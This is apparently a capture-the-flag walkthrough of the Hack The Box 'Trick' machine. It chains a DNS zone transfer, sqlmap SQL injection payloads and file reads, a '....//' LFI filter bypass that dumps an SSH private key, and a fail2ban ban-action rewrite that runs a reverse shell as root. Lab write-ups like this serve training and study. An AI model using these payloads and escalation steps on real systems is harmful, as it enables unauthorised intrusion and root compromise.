Trick
Overview
Trick is an easy Linux box that keeps pulling on the same thread: one vhost points at the next.
It starts with a DNS server that allows a zone transfer, which leaks a preprod-payroll subdomain.
That app has a login form vulnerable to SQL injection, and the DB user has FILE privileges, so sqlmap
gives me arbitrary file read. Reading the nginx config exposes a third vhost, preprod-marketing,
which has a classic ?page= LFI protected by a lazy ../ filter that I bypass with ....//.
That leaks michael's private SSH key and gets me a foothold. For root, michael can restart
fail2ban with sudo and also belongs to a security group that owns /etc/fail2ban/action.d,
so I rewrite a ban action to run my own script as root and then trigger a ban.

Reconnaissance
Nmap
Started with the usual full TCP scan then a version/script pass on whatever answered:
# Nmap 7.99 scan initiated Fri Sep 4 19:04:48 2026 as: /usr/lib/nmap/nmap --privileged -sCV -p- -T4 -v -oN nmap 10.129.79.88
Nmap scan report for 10.129.79.88
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Four ports: SSH, a dead SMTP port, DNS on 53, and an nginx server on 80. The DNS server is the
interesting one here, you don't see 53 open on many boxes.
The website
The webpage itself is a "Coming Soon" bootstrap template.

It didn't give me much, and a directory enumeration on it came back empty too. So I turned my
attention to the DNS server to see if I could squeeze a domain name out of it.
DNS — finding the domain
First a reverse lookup against the box's own DNS to see what it thinks its name is:
┌──(kali㉿kali)-[~/HTB/trick]
└─$ nslookup 10.129.79.160 10.129.79.160
160.79.129.10.in-addr.arpa name = trick.htb.
So trick.htb it is. Into /etc/hosts:
echo "10.129.79.160 trick.htb" | sudo tee -a /etc/hosts
trick.htb just points at the same "Coming Soon" page, so I went looking for subdomains with ffuf:
ffuf -u http://trick.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.trick.htb" -fs 5480
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://trick.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.trick.htb
:: Filter : Response size: 5480
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 290 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
Nothing. Then it hit me: if there's a DNS server on the box holding records for trick.htb, it's
almost certainly authoritative for the zone, and if it's misconfigured it'll hand me the whole
zone over a zone transfer (AXFR). So I looked up the dig syntax for it and tried:
dig axfr @10.129.79.160 trick.htb
; <<>> DiG 9.20.26-1-Debian <<>> axfr @10.129.79.160 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; XFR size: 6 records (messages 1, bytes 231)
BINGO. preprod-payroll.trick.htb. Added it to /etc/hosts alongside trick.htb.
The payroll vhost — SQL injection
Visiting preprod-payroll.trick.htb gives a login page:

Checking the page source gives the app's name: Admin | Employee's Payroll Management System.
A quick google on that:

shows it's known to be vulnerable to SQL injection on the login form.
sqlmap
I intercepted the login POST in Burp, saved it to request.raw, and threw it at sqlmap:
sqlmap -r request.raw --risk 3 --level 3
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=abc' OR NOT 6505=6505-- bVvQ&password=abc
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=abc' OR (SELECT 4118 FROM(SELECT COUNT(*),CONCAT(0x7178627171,(SELECT (ELT(4118=4118,1))),0x71787a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MHVY&password=abc
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=abc' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))jQBy)-- vrQU&password=abc
[*] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
username is injectable three ways over. Vulnerability confirmed.
Reading files with sqlmap
The DB user turned out to have FILE privileges, so instead of dumping tables I went straight for
file read. First target, always, is /etc/passwd:
sqlmap -r request.raw --risk 3 --level 3 --file-read=/etc/passwd
[08:57:23] [INFO] fingerprinting the back-end DBMS operating system
[08:57:23] [INFO] the back-end DBMS operating system is Linux
[08:57:23] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[08:57:29] [INFO] the local file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (2351 B)
The interesting line at the bottom:
michael:x:1001:1001::/home/michael:/bin/bash

So there's a real user, michael. Now I need a way in as him.
Since the box is running nginx, its config files are worth pulling, they'll tell me the document
roots and, on a box like this, probably more vhosts. The usual places:
/etc/nginx/nginx.conf
/etc/nginx/conf.d/*.conf
/etc/nginx/sites-enabled/default
/etc/nginx/sites-available/default
Reading /etc/nginx/sites-enabled/default:
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name trick.htb;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
There it is: a third vhost, preprod-marketing.trick.htb, rooted at /var/www/market and
running its PHP-FPM pool as michael (php7.3-fpm-michael.sock). This box is a never-ending loop
of subdomains XD. Added it to /etc/hosts and went to look.
The marketing vhost — LFI

Clicking around the site, the URL immediately screams LFI:

The document root is /var/www/market, so going three directories up lands me at /. First
attempt was the textbook payload:
http://preprod-marketing.trick.htb/index.php?page=../../../etc/passwd
That didn't work, the app is stripping ../ sequences. The trick I picked up from a CTF a
while back is ....//: the filter does a single non-recursive pass and removes the inner ../,
and what's left collapses back into ../. So ....// becomes ../ after filtering:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd


michael's SSH key
An LFI is already a lot, and since the PHP pool runs as michael, I can read his home directory.
If he left an SSH key lying around, that's the foothold. Straight for ~/.ssh/id_rsa:
kali@kali:~/HTB/trick$ curl "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....///home/michael/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Foothold
Saved the key, fixed the permissions, and connected:
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb

Foothold on the box as michael, and the user flag is in ~.

Privilege escalation
First thing, as always, sudo -l:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael can restart fail2ban as root with no password.
How fail2ban helps here
fail2ban runs as root. It watches log files, and when an IP fails to authenticate too many
times it runs a ban action, a shell command pulled from its config in /etc/fail2ban/action.d/.
Since the daemon is root, that command runs as root. If I can edit a ban action and make
fail2ban reload it, I control a root command.
The reload half is the sudo rule. For the edit half, check what group I'm in:

michael@trick:/etc/fail2ban/action.d$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael is in the security group, and that group has write access to
/etc/fail2ban/action.d/. Both halves are there. The plan:
- rewrite the
actionbanline of a ban action so it runs a script of mine as root - point it at
/tmp/shell, which holds a reverse shell - start a listener
sudo /etc/init.d/fail2ban restartto load the modified action- fail a few SSH logins from another host to trigger a ban
- the ban fires my
actionbanas root
Weaponising the ban action
iptables-multiport.conf is the default ban action, so that's the one I edited. Back it up first
so a broken config doesn't wedge the service, then patch actionban:
michael@trick:/etc/fail2ban/action.d$ mv iptables-multiport.conf .backup
michael@trick:/etc/fail2ban/action.d$ cp .backup iptables-multiport.conf
michael@trick:/etc/fail2ban/action.d$ nano iptables-multiport.conf
The only change is the actionban line:
# Option: actionban
# Notes.: command executed when banning an IP.
actionban = /bin/bash /tmp/shell
/tmp/shell is just a bash reverse shell back to my listener. Then reload it:
michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
Now trigger a ban by hammering SSH from another terminal with a bad key/password until fail2ban
decides to ban me. When it does, it calls actionban, root runs /bin/bash /tmp/shell, and the
listener catches a root shell:
# id
uid=0(root) gid=0(root) groups=0(root)
And the root flag:


Review
Trick is a really clean easy box. The whole first half is one idea repeated, every service you
land on names the next one: the zone transfer names the payroll vhost, the SQLi file-read names
michael and the marketing vhost, the LFI names the SSH key. Nothing is a leap, you just have to
keep reading what's in front of you.
Things worth keeping:
- Port 53 open = try
dig axfrbefore anything fancy. A misconfigured AXFR is a free list of
every subdomain the box wants you to find. FILEprivileges turn a login SQLi into arbitrary file read. Once you have that, the nginx
config is the highest-value file on the box, it maps every vhost and document root.....//beats a non-recursive../filter. If../../../gets stripped, don't give up on
the LFI, just double up.- Group membership is part of privesc enumeration.
sudo -lwas only half the vector here,
thesecuritygroup owningaction.dwas the other half. Always checkid.
See you in the next one. <3
